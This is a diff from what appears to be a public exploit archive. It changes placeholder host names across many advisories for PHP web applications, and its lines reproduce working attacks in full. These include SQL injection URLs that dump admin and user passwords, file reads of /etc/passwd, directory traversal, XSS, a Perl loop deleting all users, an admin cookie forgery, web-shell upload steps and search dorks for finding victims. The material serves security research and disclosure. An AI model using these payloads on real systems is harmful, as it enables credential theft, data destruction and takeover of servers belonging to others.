a/platforms/php/webapps/5371.txt b/platforms/php/webapps/5371.txt index 0055af55e..a15da134b 100755 --- a/platforms/php/webapps/5371.txt +++ b/platforms/php/webapps/5371.txt @@ -17,7 +17,7 @@ to obtain user credentials from the database. EXPLOITS: -http://server/directory.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,CONCAT(username,char(58),password),9,10,11,12,13,14/**/FROM/**/users/* +http://site.com/directory.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,CONCAT(username,char(58),password),9,10,11,12,13,14/**/FROM/**/users/* diff --git a/platforms/php/webapps/5372.txt b/platforms/php/webapps/5372.txt index b254a48c9..35af88a9f 100755 --- a/platforms/php/webapps/5372.txt +++ b/platforms/php/webapps/5372.txt @@ -18,7 +18,7 @@ DESCRIPTION: retrive users username and plaintext password. EXPLOITS: -EXPLOIT 1: http://server/SCRIPT_PATH/forum.php?forum=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6/**/FROM/**/users/* +EXPLOIT 1: http://www.server.com/SCRIPT_PATH/forum.php?forum=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6/**/FROM/**/users/* GREETZ: milw0rm.com, H4CK-Y0u.org, CipherCrew! diff --git a/platforms/php/webapps/5374.txt b/platforms/php/webapps/5374.txt index aca0580b8..5a1f308a3 100755 --- a/platforms/php/webapps/5374.txt +++ b/platforms/php/webapps/5374.txt @@ -22,7 +22,7 @@ should load the /etc/passwd file on most linux distros. Remember certain permiss EXPLOITS: -http://server/directory.php?ax=list&sub=6&cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,load_file(0x2F6574632F706173737764),4/**/FROM/**/links/* +http://site.com/directory.php?ax=list&sub=6&cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,load_file(0x2F6574632F706173737764),4/**/FROM/**/links/* NOTE/TIP: diff --git a/platforms/php/webapps/5375.txt b/platforms/php/webapps/5375.txt index 3802f0a06..4f402f92a 100755 --- a/platforms/php/webapps/5375.txt +++ b/platforms/php/webapps/5375.txt @@ -1,4 +1,4 @@ --Coderx.Org- + -Coderx.Org- [Digital-AngeLs] ^| By Cr@zy_King / crazy_kinq@hotmail.co.uk \ diff --git a/platforms/php/webapps/5376.pl b/platforms/php/webapps/5376.pl index be24be4bb..dc53c1dda 100755 --- a/platforms/php/webapps/5376.pl +++ b/platforms/php/webapps/5376.pl @@ -3,7 +3,7 @@ # -- Picture Rating 1.0 Blind SQL Injection Exploit -- # -Info/Instructions- -# After running this perl script, you will have admin details therefore you will be able to login to the admin area at http://server/control/ +# After running this perl script, you will have admin details therefore you will be able to login to the admin area at http://site.com/control/ # ok once you have logged in has admin you can upload a shell, click "edit settings" and under the allowed extensions, add ".php" ok now # register as a normal user or backup the database and get a existing users and login to the main site and navigate to upload image/photo and choose your shell and click upload # the shell should successfully upload and now you will see a broken image, right click the broken image icon and get the link, navigate to this link in your browser and thats your shell ;) @@ -29,7 +29,7 @@ print "- This exploit will perform a automated BLIND SQL attack on .. -\n"; print "- .. the target host which is running the script. -\n"; print "--------------------------------------------------------------------\n"; -print "\nEnter URL (ie: http://server/): "; +print "\nEnter URL (ie: http://site.com/): "; chomp(my $url=<STDIN>); if(inject_test($url)) { diff --git a/platforms/php/webapps/5377.txt b/platforms/php/webapps/5377.txt index 95a74bf6b..c64be7993 100755 --- a/platforms/php/webapps/5377.txt +++ b/platforms/php/webapps/5377.txt @@ -17,7 +17,7 @@ Links directorys is vulnerable to a insecure sql query. SQL Injeciton: -http://server/links.php?ax=list&sub=2&cat_id=-1%20UNION%20ALL%20SELECT%201,2,load_file('/home'),4,5,6,7,8,9,10,11,12,13%20FROM%20links/* +http://site.com/links.php?ax=list&sub=2&cat_id=-1%20UNION%20ALL%20SELECT%201,2,load_file('/home'),4,5,6,7,8,9,10,11,12,13%20FROM%20links/* diff --git a/platforms/php/webapps/5378.txt b/platforms/php/webapps/5378.txt index ec4fa74ef..f0b8e7299 100755 --- a/platforms/php/webapps/5378.txt +++ b/platforms/php/webapps/5378.txt @@ -21,7 +21,7 @@ Software Index 1.1 is vulnerable due to multiple insecure mysql querys. SQL Injection: -http://server/showcategory.php?cid=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(0x3C666F6E7420636F6C6F723D22726564223E,admin_name,0x3a,pwd,0x3C2F666F6E743E),3,4,5/**/FROM/**/sbwmd_admin/* +http://site.com/showcategory.php?cid=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(0x3C666F6E7420636F6C6F723D22726564223E,admin_name,0x3a,pwd,0x3C2F666F6E743E),3,4,5/**/FROM/**/sbwmd_admin/* diff --git a/platforms/php/webapps/5384.txt b/platforms/php/webapps/5384.txt index 66d9953e0..95780660b 100755 --- a/platforms/php/webapps/5384.txt +++ b/platforms/php/webapps/5384.txt @@ -18,7 +18,7 @@ therefor pushing which ever site they want to the top of the list. Vulnerbility: -http://server/delete.php?s=[id] +http://site.com/delete.php?s=[id] NOTE/TIP: diff --git a/platforms/php/webapps/5385.txt b/platforms/php/webapps/5385.txt index f4956dd21..e29b5702b 100755 --- a/platforms/php/webapps/5385.txt +++ b/platforms/php/webapps/5385.txt @@ -20,7 +20,7 @@ even read local files using load_file() SQL Injection: -http://server/forum.php?forum=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(name,0x3a,password),3,4/**/FROM/**/users/* +http://site.com/forum.php?forum=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(name,0x3a,password),3,4/**/FROM/**/users/* diff --git a/platforms/php/webapps/5387.txt b/platforms/php/webapps/5387.txt index ff5e31f4c..940d8230c 100755 --- a/platforms/php/webapps/5387.txt +++ b/platforms/php/webapps/5387.txt @@ -21,7 +21,7 @@ the below url will delete a user from the database. Vulnerability: -http://server/siteadmin/DeleteUser.php?UserID=[uid] +http://site.com/siteadmin/DeleteUser.php?UserID=[uid] @@ -35,7 +35,7 @@ you can also code a little script to delete all users, example below. use LWP::Simple; $i=1; while(1) { - $c=get("http://server/siteadmin/DeleteUser.php?UserID=".$i); + $c=get("http://site.com/siteadmin/DeleteUser.php?UserID=".$i); $i++; } #end diff --git a/platforms/php/webapps/5388.txt b/platforms/php/webapps/5388.txt index 9738339bc..75763dc1d 100755 --- a/platforms/php/webapps/5388.txt +++ b/platforms/php/webapps/5388.txt @@ -20,9 +20,9 @@ below you will find a URL that will locate the add and edit users page. Vulnerability: -http://server/siteadmin/addu.php -http://server/siteadmin/editu.php -http://server/siteadmin/uidx.php +http://site.com/siteadmin/addu.php +http://site.com/siteadmin/editu.php +http://site.com/siteadmin/uidx.php NOTE/TIP: diff --git a/platforms/php/webapps/5389.txt b/platforms/php/webapps/5389.txt index eb4ad81ed..df2f06199 100755 --- a/platforms/php/webapps/5389.txt +++ b/platforms/php/webapps/5389.txt @@ -19,7 +19,7 @@ attempt to load the /etc/passwd file on most linux servers. SQL Injection: -http://server/view_reviews.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,load_file('/etc/passwd'),4,5,6,7,8,9/* +http://site.com/view_reviews.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,load_file('/etc/passwd'),4,5,6,7,8,9/* diff --git a/platforms/php/webapps/5399.txt b/platforms/php/webapps/5399.txt index ef0d0f7ff..0ed544914 100755 --- a/platforms/php/webapps/5399.txt +++ b/platforms/php/webapps/5399.txt @@ -6,7 +6,7 @@ # # By : Stack-Terrorist [v40] # -# POC : http://server/chartdirector/phpdemo/viewsource.php?file=viewsource.php +# POC : http://site.com/chartdirector/phpdemo/viewsource.php?file=viewsource.php # # ############################################################################## diff --git a/platforms/php/webapps/5401.txt b/platforms/php/webapps/5401.txt index 888654687..a896f2e25 100755 --- a/platforms/php/webapps/5401.txt +++ b/platforms/php/webapps/5401.txt @@ -14,9 +14,9 @@ pull admin/user info from the database EXPLOITS: -ADMINS/STAFF: http://server/ladder.php?ladderid=1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,concat(0x3C666F6E7420636F6C6F723D22726564223E,id,char(58),pass,0x3C2F666F6E743E),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/staff/* +ADMINS/STAFF: http://site.com/ladder.php?ladderid=1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,concat(0x3C666F6E7420636F6C6F723D22726564223E,id,char(58),pass,0x3C2F666F6E743E),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/staff/* -USERS: http://server/ladder.php?ladderid=1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,concat(0x3C666F6E7420636F6C6F723D22726564223E,alias,char(58),pass,0x3C2F666F6E743E),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/staff/* +USERS: http://site.com/ladder.php?ladderid=1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,concat(0x3C666F6E7420636F6C6F723D22726564223E,alias,char(58),pass,0x3C2F666F6E743E),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/staff/* NOTE/TIP: diff --git a/platforms/php/webapps/5402.txt b/platforms/php/webapps/5402.txt index e4118084d..efd0b10ed 100755 --- a/platforms/php/webapps/5402.txt +++ b/platforms/php/webapps/5402.txt @@ -15,8 +15,8 @@ pull admin/user info from database. EXPLOITS: -www.server/events.php?action=show&id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(0x3c666f6e7420636f6c6f723d22726564223e,Username,char(58),Password,0x3c2f666f6e743e),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/**/FROM/**/admin_users/* -www.server/events.php?action=show&id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(0x3c666f6e7420636f6c6f723d22726564223e,email,char(58),password,0x3c2f666f6e743e),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/**/FROM/**/members/* +www.site.com/events.php?action=show&id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(0x3c666f6e7420636f6c6f723d22726564223e,Username,char(58),Password,0x3c2f666f6e743e),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/**/FROM/**/admin_users/* +www.site.com/events.php?action=show&id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(0x3c666f6e7420636f6c6f723d22726564223e,email,char(58),password,0x3c2f666f6e743e),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/**/FROM/**/members/* NOTE/TIP: @@ -30,7 +30,7 @@ to upload shell first use the 1st injection to get admin login credentials, then login and in the left menu click "Manage Settings" in this page it gives you a option to select a new logo but the extension isnt checked here, so we can upload php files, so select your php shell and hit "Save". -ok now goto server/images/ where server is the actual website. and look for your uploaded file/shell +ok now goto site.com/images/ where site.com is the actual website. and look for your uploaded file/shell GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew ! diff --git a/platforms/php/webapps/5405.txt b/platforms/php/webapps/5405.txt index 1a63ae636..72923be23 100755 --- a/platforms/php/webapps/5405.txt +++ b/platforms/php/webapps/5405.txt @@ -54,7 +54,7 @@ # [RFI] # # # # POST site.it/Ex/modules/threadstop/threadstop.php? new_exbb[home_path]=http://www.google.it? # -# POST site.it/Ex/modules/threadstop/threadstop.php? exbb[home_path]=http://www.yourserver/page? # +# POST site.it/Ex/modules/threadstop/threadstop.php? exbb[home_path]=http://www.yoursite.com/page? # # # #====================================================================================================# # Use this at your own risk. You are responsible for your own deeds. # diff --git a/platforms/php/webapps/5421.txt b/platforms/php/webapps/5421.txt index b07b093af..f568990ae 100755 --- a/platforms/php/webapps/5421.txt +++ b/platforms/php/webapps/5421.txt @@ -1,4 +1,4 @@ -######################################################################## + ######################################################################## # # # ...:::::KnowledgeQuest 2.6 SQL Injection Vulnerabilities ::::.... # ######################################################################## @@ -29,8 +29,8 @@ line 13: $kqid = $HTTP_GET_VARS["kqid"]; line 17:$result = mysql_query("select * from knowledgebase where kqid=" .$kqid.mysql_error()); -------- Exploits: -http://www.server/[patch]/articletextonly.php?kqid=-9999/**/union/**/select/**/1,2,3,loginid,password,6,7,8,9,10,11/**/from/**/login/* -http://www.server/[patch]/articletext.php?kqid=-999/**/union/**/select/**/1,2,3,loginid,password,6,7,8/**/from/**/login/* +http://www.site.com/[patch]/articletextonly.php?kqid=-9999/**/union/**/select/**/1,2,3,loginid,password,6,7,8,9,10,11/**/from/**/login/* +http://www.site.com/[patch]/articletext.php?kqid=-999/**/union/**/select/**/1,2,3,loginid,password,6,7,8/**/from/**/login/* -------------------------------- .::::admin Authentication bypass vuln::::. vuln code in logincheck.php: diff --git a/platforms/php/webapps/5423.txt b/platforms/php/webapps/5423.txt index 0deda28d1..f272eff84 100755 --- a/platforms/php/webapps/5423.txt +++ b/platforms/php/webapps/5423.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -14,8 +14,8 @@ # Script site: http://www.ksemail.com/, http://mail.ksemail.com # # Vuln: - # http://server/prog/index.php?language=../../../../../../etc/passwd - # http://server/prog/index.php?lang=../../../../../../etc/passwd + # http://site.com/prog/index.php?language=../../../../../../etc/passwd + # http://site.com/prog/index.php?lang=../../../../../../etc/passwd # # Dork example: "FoxMail/Outook" # diff --git a/platforms/php/webapps/5431.txt b/platforms/php/webapps/5431.txt index 1e85f33cf..a12d8920d 100755 --- a/platforms/php/webapps/5431.txt +++ b/platforms/php/webapps/5431.txt @@ -13,17 +13,17 @@ = BUG 1 : Local Directory Traversal -exploit => server/path/index.php?option=com_joomlaxplorer&action=show_error&dir=../../[directory] +exploit => target.com/path/index.php?option=com_joomlaxplorer&action=show_error&dir=../../[directory] example : - server/joomla/index.php?option=com_joomlaxplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc - server/joomla/index.php?option=com_joomlaxplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed + site.com/joomla/index.php?option=com_joomlaxplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc + site.com/joomla/index.php?option=com_joomlaxplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed = BUG 2 : XSS -exploit => server/path/index.php?option=com_joomlaxplorer&action=show_error&dir=hsmx&order=name&srt=yes&error=[XSS] +exploit => target.com/path/index.php?option=com_joomlaxplorer&action=show_error&dir=hsmx&order=name&srt=yes&error=[XSS] -example : server/path/index.php?option=com_joomlaxplorer&action=show_error&dir=hsmx&order=name&srt=yes&error=%22%3E%3Cscript%3Ealert(1);%3C/script%3E +example : www.target.com/path/index.php?option=com_joomlaxplorer&action=show_error&dir=hsmx&order=name&srt=yes&error=%22%3E%3Cscript%3Ealert(1);%3C/script%3E = greetz : V4 Team - Jiki Team - Gold_M - HaCkeR_EgY - RoMaNcYxHaCkEr and all muslims Hackers diff --git a/platforms/php/webapps/5435.txt b/platforms/php/webapps/5435.txt index a5743588d..a79672396 100755 --- a/platforms/php/webapps/5435.txt +++ b/platforms/php/webapps/5435.txt @@ -13,11 +13,11 @@ = BUG : Local Directory Traversal -exploit => server/path/index.php?option=com_extplorer&action=show_error&dir=../../[directory] +exploit => target.com/path/index.php?option=com_extplorer&action=show_error&dir=../../[directory] example : - server/joomla/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc - server/joomla/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed + site.com/joomla/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc + site.com/joomla/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed = greetz : V4 Team - Jiki Team - Gold_M - HaCkeR_EgY - RoMaNcYxHaCkEr and all muslims Hackers diff --git a/platforms/php/webapps/5440.php b/platforms/php/webapps/5440.php index e3454db63..e85459135 100755 --- a/platforms/php/webapps/5440.php +++ b/platforms/php/webapps/5440.php @@ -14,8 +14,8 @@ print_r(' # # Dork: "mumbo jumbo media" + inurl:"index.php" # Usage: php '.$argv[0].' [Target] [Page ID] [Admin ID] -# Example for "http://www.server/cms/index.php?id=300" -# => php '.$argv[0].' http://www.server/cms/ 300 1 +# Example for "http://www.site.com/cms/index.php?id=300" +# => php '.$argv[0].' http://www.site.com/cms/ 300 1 # ############################################################### '); diff --git a/platforms/php/webapps/5446.txt b/platforms/php/webapps/5446.txt index 8ac0c12e8..bc79b6175 100755 --- a/platforms/php/webapps/5446.txt +++ b/platforms/php/webapps/5446.txt @@ -6,7 +6,7 @@ ## ## Script website:http://www.bosdev.com ## -## Exploit : " server/path/news.php?news=more&article=248+union%20select%200,1,username,password,4%20from%20bosdevUUS/* +## Exploit : " site.com/path/news.php?news=more&article=248+union%20select%200,1,username,password,4%20from%20bosdevUUS/* ############################################################################## # milw0rm.com [2008-04-14] diff --git a/platforms/php/webapps/5457.txt b/platforms/php/webapps/5457.txt index 692680594..ae298df1e 100755 --- a/platforms/php/webapps/5457.txt +++ b/platforms/php/webapps/5457.txt @@ -1,4 +1,4 @@ -[ A L G E R I A S E C U R I T Y C R E W ] + [ A L G E R I A S E C U R I T Y C R E W ] ################################################### [~] XplodPHP Remote SQL Injection Vulnerability diff --git a/platforms/php/webapps/5465.txt b/platforms/php/webapps/5465.txt index 967efab0d..6c0343b85 100755 --- a/platforms/php/webapps/5465.txt +++ b/platforms/php/webapps/5465.txt @@ -17,11 +17,11 @@ DESCRIPTION: of course some GET variables are being used but thats all. running the below url/path on a server that is running 2532|Gigs will make a backup of the database -and save it too "http://server/2532gigs/backup.sql" +and save it too "http://site.com/2532gigs/backup.sql" Vulnerability: -http://server/2532gigs/backup.php?export=1 +http://site.com/2532gigs/backup.php?export=1 NOTE/TIP: diff --git a/platforms/php/webapps/5468.txt b/platforms/php/webapps/5468.txt index 6765eb1a0..59e365bd9 100755 --- a/platforms/php/webapps/5468.txt +++ b/platforms/php/webapps/5468.txt @@ -22,9 +22,9 @@ below are 2 sql injections, the first one will display admin user/pass SQL Injection: -ADMIN: http://server/contact.php?id=1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(user_email,char(58),user_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/FROM/**/users/**/WHERE/**/user_level=1/* +ADMIN: http://site.com/contact.php?id=1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(user_email,char(58),user_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/FROM/**/users/**/WHERE/**/user_level=1/* -USER: http://server/contact.php?id=1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(user_email,char(58),user_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/FROM/**/users/**/LIMIT/**/0,1/* +USER: http://site.com/contact.php?id=1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(user_email,char(58),user_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/FROM/**/users/**/LIMIT/**/0,1/* diff --git a/platforms/php/webapps/5474.txt b/platforms/php/webapps/5474.txt index 0c652c5cb..fe798449f 100755 --- a/platforms/php/webapps/5474.txt +++ b/platforms/php/webapps/5474.txt @@ -11,8 +11,8 @@ Script Download : http://cms-bg.org/modules/mydownloads/viewcat.php?cid=5 Attackz : -http://localserver/path/include/functions.inc.php?class=[Local File] -http://localserver/path/include/common.inc.php?file=[Local File] +http://localsite.com/path/include/functions.inc.php?class=[Local File] +http://localsite.com/path/include/common.inc.php?file=[Local File] ################################################# diff --git a/platforms/php/webapps/5476.txt b/platforms/php/webapps/5476.txt index 442e09a08..59b27b4f7 100755 --- a/platforms/php/webapps/5476.txt +++ b/platforms/php/webapps/5476.txt @@ -10,7 +10,7 @@ $ Demo.........: http://scriptsfrenzy.com/demo_host_directory_pro/ $ Exploit......: javascript:document.cookie = "adm=1 path=/;"; -$ AdminPath....: www.server/script_path/admin/ +$ AdminPath....: www.site.com/script_path/admin/ $ Greetz ......: Str0ke ; All Peace Warriors diff --git a/platforms/php/webapps/5478.txt b/platforms/php/webapps/5478.txt index 00bf6baa4..6b79e70c4 100755 --- a/platforms/php/webapps/5478.txt +++ b/platforms/php/webapps/5478.txt @@ -52,11 +52,11 @@ Acidcat CMS is a web site and simple Content Management System that can be admin ------------- 3.2. Attacker can send email without any permission: ------------- - default_mail_aspemail.asp? AcidcatSend=1&From=Fake@server&FromName=FakeAdmin&To=Victim@Email.com&Subject=Forgery&Body=Change your password to 123456! + default_mail_aspemail.asp? AcidcatSend=1&From=Fake@Site.com&FromName=FakeAdmin&To=Victim@Email.com&Subject=Forgery&Body=Change your password to 123456! - default_mail_cdosys.asp? AcidcatSend=1&From=Fake@server&FromName=FakeAdmin&To=Victim@Email.com&Subject=Forgery&Body=Change your password to 123456! + default_mail_cdosys.asp? AcidcatSend=1&From=Fake@Site.com&FromName=FakeAdmin&To=Victim@Email.com&Subject=Forgery&Body=Change your password to 123456! - default_mail_jmail.asp? AcidcatSend=1&From=Fake@server&FromName=FakeAdmin&To=Victim@Email.com&Subject=Forgery&Body=Change your password to 123456! + default_mail_jmail.asp? AcidcatSend=1&From=Fake@Site.com&FromName=FakeAdmin&To=Victim@Email.com&Subject=Forgery&Body=Change your password to 123456! ------------- 3.3. Attacker can login to the site: ------------- diff --git a/platforms/php/webapps/5484.txt b/platforms/php/webapps/5484.txt index 4d6e06a83..37b567120 100755 --- a/platforms/php/webapps/5484.txt +++ b/platforms/php/webapps/5484.txt @@ -1,4 +1,4 @@ -[ A L G E R I A S E C U R I T Y C R E W ] + [ A L G E R I A S E C U R I T Y C R E W ] ########################################## # # [ Joomla Component FlippingBook 1.0.4 SQL Injection ] diff --git a/platforms/php/webapps/5485.pl b/platforms/php/webapps/5485.pl index e13b682ed..6270df9f3 100755 --- a/platforms/php/webapps/5485.pl +++ b/platforms/php/webapps/5485.pl @@ -15,7 +15,7 @@ print "-+-- Exploit tested in ActivePerl --+-\n"; print "-+-- --+-\n"; print "-+--[ Web Calendar <= 4.1 Blind SQL Injection Exploit ]--+-\n"; -print "\nEnter URL (ie: http://server/webcal/): "; +print "\nEnter URL (ie: http://site.com/webcal/): "; chomp(my $url=<STDIN>); print "\n\nInjecting Please Wait..\n\n" diff --git a/platforms/php/webapps/5486.txt b/platforms/php/webapps/5486.txt index a95fe3081..6bab7fbc0 100755 --- a/platforms/php/webapps/5486.txt +++ b/platforms/php/webapps/5486.txt @@ -6,7 +6,7 @@ There's standart sql-injection in Spreadsheet <= 0.6 Plugin # BUG : Remote SQL-Injection Vulnerability # Dork : inurl:/wp-content/plugins/wpSS/ Example: -http://server/wp-content/plugins/wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4+from+wp_users--&display=plain +http://site.com/wp-content/plugins/wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4+from+wp_users--&display=plain =========================================== Vulnerable code: ss_load.php diff --git a/platforms/php/webapps/5488.txt b/platforms/php/webapps/5488.txt index f25745eb5..bc27bda0c 100755 --- a/platforms/php/webapps/5488.txt +++ b/platforms/php/webapps/5488.txt @@ -1,4 +1,4 @@ -######################################################################## + ######################################################################## # # # [ Joomla Component Filiale SQL Injection ] # # # diff --git a/platforms/php/webapps/5510.txt b/platforms/php/webapps/5510.txt index aad0692aa..6298e1869 100755 --- a/platforms/php/webapps/5510.txt +++ b/platforms/php/webapps/5510.txt @@ -18,11 +18,11 @@ variable " $cm_imgpath " not declared = Exploit : -server/cm/graphie.php?cm_imgpath=../.././../[file] -server/cm/graphie.php?cm_imgpath=../.././../etc/passwd +target.com/cm/graphie.php?cm_imgpath=../.././../[file] +target.com/cm/graphie.php?cm_imgpath=../.././../etc/passwd = see phpinfo -server/cm/phpinfo.php +target.com/cm/phpinfo.php diff --git a/platforms/php/webapps/5516.txt b/platforms/php/webapps/5516.txt index 1d5c5d0cf..b500dd2f7 100755 --- a/platforms/php/webapps/5516.txt +++ b/platforms/php/webapps/5516.txt @@ -43,7 +43,7 @@ Successful exploitation requires that "magic_quotes" is off Poc/Exploit: ~~~~~~~~~ -http://server/[hostindex_path]/directory.php?ax=list&sub=7&cat_id=-1%20union%20select%201,2,concat(id,0x3a,name,0x3a,email,0x3a,password),4,5,6,7,8,9,10,11,12,13,14%20from%20links-- +http://www.target.com/[hostindex_path]/directory.php?ax=list&sub=7&cat_id=-1%20union%20select%201,2,concat(id,0x3a,name,0x3a,email,0x3a,password),4,5,6,7,8,9,10,11,12,13,14%20from%20links-- Dork: ~~~~ diff --git a/platforms/php/webapps/5517.txt b/platforms/php/webapps/5517.txt index 2b8c90c48..c144f5126 100755 --- a/platforms/php/webapps/5517.txt +++ b/platforms/php/webapps/5517.txt @@ -46,7 +46,7 @@ Successful exploitation requires that "magic_quotes" is off Poc/Exploit: ~~~~~~~~~ -http://server/hostdirectory/search_result.php?host_id=-1 union select 1,2,concat(sb_id,0x3a,sb_admin_name,0x3a,sb_pwd),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9 from sb_host_admin-- +http://www.target.com/hostdirectory/search_result.php?host_id=-1 union select 1,2,concat(sb_id,0x3a,sb_admin_name,0x3a,sb_pwd),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9 from sb_host_admin-- Dork: ~~~~ diff --git a/platforms/php/webapps/5525.txt b/platforms/php/webapps/5525.txt index b6c2dac5b..ec75fbf4a 100755 --- a/platforms/php/webapps/5525.txt +++ b/platforms/php/webapps/5525.txt @@ -13,17 +13,17 @@ Demo Site : http://successkid.com/wapchat/itdiv.php Bug Found: -http://www.server/wapchat/src/eng.writeMsg.php?sysFileDir=[shell] -http://www.server/wapchat/src/eng.adCreate.php?sysFileDir=[shell] -http://www.server/wapchat/src/eng.adCreateSave.php?sysFileDir=[shell] -http://www.server/wapchat/src/eng.adDispByTypeOptions.php?sysFileDir=[shell] -http://www.server/wapchat/src/eng.createRoom.php?sysFileDir=[shell] -http://www.server/wapchat/src/eng.forward.php?sysFileDir=[shell] -http://www.server/wapchat/src/eng.pageLogout.php?sysFileDir=[shell] -http://www.server/wapchat/src/eng.resultMember.php?sysFileDir=[shell] -http://www.server/wapchat/src/eng.roomDeleteConfirm.php?sysFileDir=[shell] -http://www.server/wapchat/src/eng.saveNewRoom.php?sysFileDir=[shell] -http://www.server/wapchat/src/eng.searchMember.php?sysFileDir=[shell] -http://www.server/wapchat/src/eng.writeMsg.php?sysFileDir=[shell] +http://www.site.com/wapchat/src/eng.writeMsg.php?sysFileDir=[shell] +http://www.site.com/wapchat/src/eng.adCreate.php?sysFileDir=[shell] +http://www.site.com/wapchat/src/eng.adCreateSave.php?sysFileDir=[shell] +http://www.site.com/wapchat/src/eng.adDispByTypeOptions.php?sysFileDir=[shell] +http://www.site.com/wapchat/src/eng.createRoom.php?sysFileDir=[shell] +http://www.site.com/wapchat/src/eng.forward.php?sysFileDir=[shell] +http://www.site.com/wapchat/src/eng.pageLogout.php?sysFileDir=[shell] +http://www.site.com/wapchat/src/eng.resultMember.php?sysFileDir=[shell] +http://www.site.com/wapchat/src/eng.roomDeleteConfirm.php?sysFileDir=[shell] +http://www.site.com/wapchat/src/eng.saveNewRoom.php?sysFileDir=[shell] +http://www.site.com/wapchat/src/eng.searchMember.php?sysFileDir=[shell] +http://www.site.com/wapchat/src/eng.writeMsg.php?sysFileDir=[shell] # milw0rm.com [2008-04-30] diff --git a/platforms/php/webapps/5541.txt b/platforms/php/webapps/5541.txt index 2fa37c30e..803974d83 100755 --- a/platforms/php/webapps/5541.txt +++ b/platforms/php/webapps/5541.txt @@ -44,9 +44,9 @@ Successful exploitation requires that "magic_quotes" is off Poc/Exploit: ~~~~~~~~~ -http://server/index.php?module=pnEncyclopedia&func=display_term&id=9999 union select 1,2,3,4,5,6,version(),8,9,10,11-- -http://server/index.php?module=pnEncyclopedia&func=display_term&id=9999 union select 1,2,3,4,5,6,load_file(0x2f6574632f706173737764),8,9,10,11-- -http://server/index.php?module=pnEncyclopedia&func=display_term&id=9999 union select 1,2,3,4,5,6,concat(pn_uname,0x3a,pn_pass),8,9,10,11 from nuke_users limit 1,1-- +http://www.target.com/index.php?module=pnEncyclopedia&func=display_term&id=9999 union select 1,2,3,4,5,6,version(),8,9,10,11-- +http://www.target.com/index.php?module=pnEncyclopedia&func=display_term&id=9999 union select 1,2,3,4,5,6,load_file(0x2f6574632f706173737764),8,9,10,11-- +http://www.target.com/index.php?module=pnEncyclopedia&func=display_term&id=9999 union select 1,2,3,4,5,6,concat(pn_uname,0x3a,pn_pass),8,9,10,11 from nuke_users limit 1,1-- Dork: ~~~~ diff --git a/platforms/php/webapps/5542.txt b/platforms/php/webapps/5542.txt index 82d294b2c..332e5d95f 100755 --- a/platforms/php/webapps/5542.txt +++ b/platforms/php/webapps/5542.txt @@ -43,7 +43,7 @@ Successful exploitation requires that "magic_quotes" is off Poc/Exploit: ~~~~~~~~~ 